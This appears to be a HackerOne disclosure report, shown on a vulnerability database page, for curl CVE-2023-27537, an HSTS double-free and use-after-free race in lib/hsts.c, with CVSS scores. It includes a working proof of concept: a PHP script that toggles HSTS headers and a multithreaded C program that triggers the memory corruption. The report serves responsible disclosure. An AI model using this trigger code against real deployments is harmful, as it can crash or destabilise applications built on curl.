Lucene search

K
hackeroneKurohiroH1:1897203
HistoryMar 08, 2023 - 6:10 p.m.

curl: CVE-2023-27537: HSTS double-free

2023-03-0818:10:27
kurohiro
hackerone.com
193

5.9 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

2.6 Low

CVSS2

Access Vector

NETWORK

Access Complexity

HIGH

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:N/I:N/A:P

0.0005 Low

EPSS

Percentile

16.3%

Summary:

When processing HSTS with multi-threading, double-free or UAF may occur due to lack of exclusion control.
HSTS entries disappear when they expire or when “max-age=0” is received.
In this case, the offending entry is removed from the internal memory list, freeing memory but not exclusivity control.
Therefore, depending on the timing, other threads may perform the operation, resulting in double-free or UAF.

lib/hsts.c in the function Curl_hsts_parse on lines 213-221

  if(!expires) {
    /* remove the entry if present verbatim (without subdomain match) */
    sts = Curl_hsts(h, hostname, FALSE);
    if(sts) {
      Curl_llist_remove(&h->list, &sts->node, NULL);
      hsts_free(sts);
    }
    return CURLE_OK;
  }

If multiple threads process hsts_free(sts); at the same time, it becomes double-free.
Another problem is that UAF occurs when other threads access entries.

Lines 270-275 have a similar problem.

Steps To Reproduce:

  1. [Prepare the following php.]
<?php
$random = rand(0, 1);
if($random == 0){
        header("strict-transport-security: max-age=9999");
}else{
        header("strict-transport-security: max-age=0");
}
  1. [Compile and run the following cpp.]
#include <stdio.h>
#define HAVE_STRUCT_TIMESPEC // [Add] 
#include <pthread.h>
#include <curl/curl.h>

#define NUMT 100

const char* const url = "https://test.local/poc.php";

pthread_mutex_t lock[9];

static void lock_cb(CURL* handle, curl_lock_data data,
    curl_lock_access access, void* userptr)
{
    pthread_mutex_lock(&lock[data]); /* uses a global lock array */
}

static void unlock_cb(CURL* handle, curl_lock_data data,
    void* userptr)
{
    pthread_mutex_unlock(&lock[data]); /* uses a global lock array */
}

static void* pull_one_url(void* shobject)
{
    CURL* curl;

    for (int i = 0; i < 100; i++) {
        curl = curl_easy_init();
        curl_easy_setopt(curl, CURLOPT_URL, url);
        curl_easy_setopt(curl, CURLOPT_HSTS, "c:\\home\\hsts.txt");
        curl_easy_setopt(curl, CURLOPT_SHARE, shobject);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_perform(curl); /* ignores error */
        curl_easy_cleanup(curl);
    }

    return NULL;
}

int main(int argc, char** argv)
{
    pthread_t tid[NUMT] = {0};
    int i;

    for(i = 0;i<=9;i++)
        pthread_mutex_init(&lock[i], NULL);
    
    /* Must initialize libcurl before any threads are started */
    curl_global_init(CURL_GLOBAL_ALL);
    CURLSH* shobject = curl_share_init();
    curl_share_setopt(shobject, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);
    curl_share_setopt(shobject, CURLSHOPT_LOCKFUNC, lock_cb);
    curl_share_setopt(shobject, CURLSHOPT_UNLOCKFUNC, unlock_cb);
    for (i = 0; i < NUMT; i++) {
        int error = pthread_create(&tid[i],
            NULL, /* default attributes please */
            pull_one_url,
            (void*)shobject);
        if (0 != error)
            fprintf(stderr, "Couldn't run thread number %d, errno %d\n", i, error);
        else
            fprintf(stderr, "Thread %d, gets %s\n", i, url);
    }

    /* now wait for all threads to terminate */
    for (i = 0; i < NUMT; i++) {
        pthread_join(tid[i], NULL);
        fprintf(stderr, "Thread %d terminated\n", i);
    }
    curl_share_cleanup(shobject);
    curl_global_cleanup();
    return 0;
}

The source was referred to under docs/examples.

Supplement.
URL is https://test.local/poc.php.
php that randomly memorizes and deletes HSTS entries.
It’s hard to reproduce if it’s random, but I’ve confirmed that the problem will occur.
I attach an image of when the UAF happened(I tried in debug build).
The number of threads and the number of loops are increased in order to raise the possibility that the phenomenon will occur.
{F2216003}

Impact

Double-free

5.9 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

2.6 Low

CVSS2

Access Vector

NETWORK

Access Complexity

HIGH

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:N/I:N/A:P

0.0005 Low

EPSS

Percentile

16.3%